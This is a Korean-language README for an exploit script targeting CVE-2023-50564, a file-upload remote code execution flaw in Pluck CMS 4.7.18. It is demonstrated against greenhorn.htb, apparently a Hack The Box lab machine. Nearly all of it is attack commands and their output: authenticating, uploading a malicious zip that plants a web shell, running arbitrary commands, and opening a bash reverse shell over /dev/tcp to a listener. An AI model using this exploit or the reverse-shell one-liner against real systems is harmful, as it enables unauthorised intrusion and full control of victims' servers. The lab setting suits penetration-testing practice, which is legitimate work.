
Pluck-CMS v4.7.18 RCE 익스플로잇
CVE-2023-50564는 Pluck CMS v4.7.18의 RCE 취약점입니다. /inc/modules_install.php 컴포넌트의 임의 파일 업로드 취약점을 통해 악성 .zip 파일을 업로드하여 임의 코드를 실행할 수 있습니다.
익스플로잇을 실행하기 전에 /login.php에서 인증할 비밀번호를 알고 있어야 합니다.
대상에 대해 익스플로잇 실행:
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
악성 .php 파일은 스크립트가 제공하는 링크를 통해 접근하여 명령을 실행할 수 있습니다.
선택적으로 실행할 명령은 --cmd 플래그로 지정할 수 있습니다.
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd id
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
리스너를 시작한 다음 --cmd 플래그를 사용하여 리스너에 리버스 셸 연결을 설정하는 명령을 지정하세요:
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1''
그리고 리스너에서 연결을 확인합니다:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.78.209] 38982
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/malicious$
요구 사항을 설치합니다:
pip install -r requirements.txt
도움말:
$ python3 exploit.py --help
usage: exploit.py [-h] --target TARGET --password PASSWORD [--cmd CMD]
Exploit Pluck v4.7.18 RCE Vulnerability
options:
-h, --help show this help message and exit
--target TARGET Target URL (Example: http://greenhorn.htb)
--password PASSWORD Pluck password
--cmd CMD Command to execute
취약점을 발견한 Mirabbas Ağalarov에게 감사를 표합니다 (링크).